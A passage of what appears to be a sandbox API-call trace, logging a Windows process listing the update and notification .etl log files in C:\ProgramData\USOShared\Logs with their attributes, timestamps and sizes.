ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x1ff683d6, ftLastAccessTime.dwHighDateTime=0x1d327c0, ftLastWriteTime.dwLowDateTime=0x20000d39, ftLastWriteTime.dwHighDateTime=0x1d327c0, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.011.etl", cAlternateFileName="NOC3D2~1.ETL")) returned 1 [0109.536] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x46e2de3d, ftLastAccessTime.dwHighDateTime=0x1d327bf, ftLastWriteTime.dwLowDateTime=0x46eecb64, ftLastWriteTime.dwHighDateTime=0x1d327bf, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.012.etl", cAlternateFileName="NOA86A~1.ETL")) returned 1 [0109.536] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x235d058f, ftLastAccessTime.dwHighDateTime=0x1d327bf, ftLastWriteTime.dwLowDateTime=0x23917bad, ftLastWriteTime.dwHighDateTime=0x1d327bf, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.013.etl", cAlternateFileName="NO3128~1.ETL")) returned 1 [0109.536] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x8f69453d, ftLastAccessTime.dwHighDateTime=0x1d327b9, ftLastWriteTime.dwLowDateTime=0x8f779518, ftLastWriteTime.dwHighDateTime=0x1d327b9, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.014.etl", cAlternateFileName="NO43D2~1.ETL")) returned 1 [0109.536] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7fb3688d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7fc1b6b8, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.015.etl", cAlternateFileName="NOTIFI~4.ETL")) returned 1 [0109.537] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xcb502d29, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xcb5c1a4e, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.016.etl", cAlternateFileName="NOTIFI~3.ETL")) returned 1 [0109.537] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7b53cfc, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x8be7d51, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.017.etl", cAlternateFileName="NOTIFI~1.ETL")) returned 1 [0109.537] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x17f1e5d0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x17f1e5d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.001.etl", cAlternateFileName="UP2DAF~1.ETL")) returned 1 [0109.537] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xde371631, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x2bb800e, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.002.etl", cAlternateFileName="UP3884~1.ETL")) returned 1 [0109.537] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x2a522d7b, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x4e6dab1f, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.003.etl", cAlternateFileName="UP8247~1.ETL")) returned 1 [0109.537] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x2cbb43aa, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x5454d5b0, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.004.etl", cAlternateFileName="UPD2FC~1.ETL")) returned 1 [0109.537] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x60de6047, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x60de6047, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.005.etl", cAlternateFileName="UPB784~1.ETL")) returned 1 [0109.537] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa72ae253, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0xcb3f3780, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.006.etl", cAlternateFileName="UP7D55~1.ETL")) returned 1 [0109.538] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x5ca8efbc, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x8784f695, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.007.etl", cAlternateFileName="UP52FC~1.ETL")) returned 1 [0109.538] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x4346f4fe, ftLastAccessTime.dwHighDateTime=0x1d41dc4, ftLastWriteTime.dwLowDateTime=0x4346f4fe, ftLastWriteTime.dwHighDateTime=0x1d41dc4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.008.etl", cAlternateFileName="UPA721~1.ETL")) returned 1 [0109.538] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x745a10f, ftLastAccessTime.dwHighDateTime=0x1d3aafc, ftLastWriteTime.dwLowDateTime=0x318cac0d, ftLastWriteTime.dwHighDateTime=0x1d3aafc, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.009.etl", cAlternateFileName="UPFC55~1.ETL")) returned 1 [0109.538] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd59be406, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xd59be406, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.010.etl", cAlternateFileName="UPB13B~1.ETL")) returned 1 [0109.538] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x198319d2, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3f449663, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.011.etl", cAlternateFileName="UP076F~1.ETL")) returned 1 [0109.539] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1c505b8c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x58b60423, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.012.etl", cAlternateFileName="UPEBF6~1.ETL")) returned 1 [0109.539] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xdaf93ab4, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0x87be9f6, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.013.etl", cAlternateFileName="UP8DEE~1.ETL")) returned 1 [0109.539] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1977635c, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1977635c, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.014.etl", cAlternateFileName="UP38BA~1.ETL")) returned 1 [0109.539] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfc820227, ftLastAccessTime.dwHighDateTime=0x1d3375a, ftLastWriteTime.dwLowDateTime=0x2521b8a4, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.015.etl", cAlternateFileName="UPE286~1.ETL")) returned 1 [0109.539] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfd9caf15, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfd9caf15, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.016.etl", cAlternateFileName="UP9D42~1.ETL")) returned 1 [0109.539] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xda210f79, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xb10a27a8, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.017.etl", cAlternateFileName="UPB8BA~1.ETL")) returned 1 [0109.539] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe0798fd2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x79d33ce, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.018.etl", cAlternateFileName="UPAC79~1.ETL")) returned 1 [0109.540] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7a24386, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x56762f51, ftLastWriteTime.dwHighDateTime=0x1d327d1, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.019.etl", cAlternateFileName="UP1E42~1.ETL")) returned 1 [0109.540] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1fc4717b, ftLastAccessTime.dwHighDateTime=0x1d327c0, ftLastWriteTime.dwLowDateTime=0x46bc7f04, ftLastWriteTime.dwHighDateTime=0x1d327c0, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.020.etl", cAlternateFileName="UP597C~1.ETL")) returned 1 [0109.540] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x22cb9437, ftLastAccessTime.dwHighDateTime=0x1d327bf, ftLastWriteTime.dwLowDateTime=0x911dff9b, ftLastWriteTime.dwHighDateTime=0x1d327bf, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.021.etl", cAlternateFileName="UP0CB7~1.ETL")) returned 1 [0109.540] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8f4581c2, ftLastAccessTime.dwHighDateTime=0x1d327b9, ftLastWriteTime.dwLowDateTime=0xb62eafb0, ftLastWriteTime.dwHighDateTime=0x1d327b9, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.022.etl", cAlternateFileName="UPBE04~1.ETL")) returned 1 [0109.540] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f83b96b, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x82808de1, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.023.etl", cAlternateFileName="UPA620~1.ETL")) returned 1 [0109.540] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xcae2810e, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xf21e09d1, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.024.etl", cAlternateFileName="UP14AB~1.ETL")) returned 1 [0109.540] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xcd491119, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x2e5f9ec7, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.025.etl", cAlternateFileName="UPDATE~4.ETL")) returned 1 [0109.541] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xb30910b4, ftLastAccessTime.dwHighDateTime=0x1d3278b, ftLastWriteTime.dwLowDateTime=0xe1a1828d, ftLastWriteTime.dwHighDateTime=0x1d3278b, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.026.etl", cAlternateFileName="UPDATE~3.ETL")) returned 1 [0109.541] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xbda7099b, ftLastAccessTime.dwHighDateTime=0x1d32746, ftLastWriteTime.dwLowDateTime=0xe19a12b7, ftLastWriteTime.dwHighDateTime=0x1d32746, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.027.etl", cAlternateFileName="UPDATE~2.ETL")) returned 1 [0109.541] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa972a1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x266bdfb9, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.028.etl", cAlternateFileName="UPDATE~1.ETL")) returned 1 [0109.541] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6fa4f40f, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x8243765a, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x889a9e61, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateUx.001.etl", cAlternateFileName="UP654C~1.ETL")) returned 1 [0109.541] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6fa4f40f, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x6fa4f40f, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x7e0bea63, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateUx.002.etl", cAlternateFileName="UP1018~1.ETL")) returned 1 [0109.541] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0109.541] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0109.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0109.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0109.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0109.542] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\USOShared\\Logs", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\USOShared\\Logs", lpFilePart=0x0) returned 0x1d [0109.542] FindFirstFileW (in: lpFileName="C:\\ProgramData\\USOShared\\Logs\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x17f1e5d0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x17f1e5d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0109.542] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x17f1e5d0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x17f1e5d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.542] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cf76e0, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x58d51fd9, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x597705f5, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUx.001.etl", cAlternateFileName="NOBE5B~1.ETL")) returned 1 [0109.542] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cf76e0, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7cf76e0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x852e502, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUx.002.etl", cAlternateFileName="NOTIFI~2.ETL")) returned 1 [0109.542] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x2d822f20, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x2efd472c, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.001.etl", cAlternateFileName="NO604C~1.ETL")) returned 1 [0109.543] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xfe554d51, ftLastAccessTime.dwHighDateTime=0x1d3375a, ftLastWriteTime.dwLowDateTime=0xfe782447, ftLastWriteTime.dwHighDateTime=0x1d3375a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.002.etl", cAlternateFileName="NO8BA4~1.ETL")) returned 1 [0109.543] FindNextFileW (in: hFindFile=0x131de00, 